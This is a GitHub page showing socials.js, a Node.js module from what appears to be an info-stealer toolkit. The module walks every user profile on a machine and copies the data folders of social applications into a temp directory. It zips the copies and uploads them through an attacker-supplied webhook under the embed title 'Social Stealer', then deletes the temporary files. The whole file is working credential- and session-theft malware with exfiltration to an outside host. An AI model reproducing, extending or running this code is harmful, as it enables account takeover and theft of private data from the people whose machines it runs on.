-
Notifications
You must be signed in to change notification settings - Fork 1
/
socials.js
70 lines (56 loc) · 2.1 KB
/
socials.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
const fs = require('fs');
const path = require('path');
const os = require('os');
const socialsPaths = require('./paths.js');
const requests = require('./../../utils/requests/requests.js');
const fileutil = require('./../../utils/fileutil/fileutil.js');
const hardware = require('./../../utils/hardware/hardware.js');
module.exports = async (webhookUrl) => {
const users = await hardware.GetUsers();
const socialsTempDir = path.join(os.tmpdir(), 'socials-temp');
if (!fs.existsSync(socialsTempDir)) {
fs.mkdirSync(socialsTempDir, { recursive: true });
}
let socialsFound = '';
for (const user of users) {
for (const [name, relativePath] of Object.entries(socialsPaths.GetSocials())) {
const socialsPath = path.join(user, relativePath);
if (!fs.existsSync(socialsPath) || !fs.lstatSync(socialsPath).isDirectory()) {
continue;
}
try {
const socialsDestPath = path.join(socialsTempDir, user.split(path.sep)[2], name);
await fileutil.Copy(socialsPath, socialsDestPath);
socialsFound += `\n✅ ${user.split(path.sep)[2]} - ${name}`;
} catch (err) {
continue;
}
}
}
if (socialsFound === '') {
return;
}
if (socialsFound.length > 4090) {
socialsFound = 'Numerous social to explore.';
}
const socialsTempZip = path.join(os.tmpdir(), 'socials.zip');
try {
await fileutil.ZipDirectory({
inputDir: socialsTempDir,
outputZip: socialsTempZip
});
await requests.Webhook(webhookUrl, {
embeds: [{
title: 'Social Stealer',
description: '```' + socialsFound + '```',
}],
}, [socialsTempZip]);
const WishTempDir = fileutil.WishTempDir('socials');
await fileutil.Copy(socialsTempDir, WishTempDir);
[socialsTempDir, socialsTempZip].forEach(async dir => {
await fileutil.RemoveDir(dir);
});
} catch (error) {
console.error(error);
}
};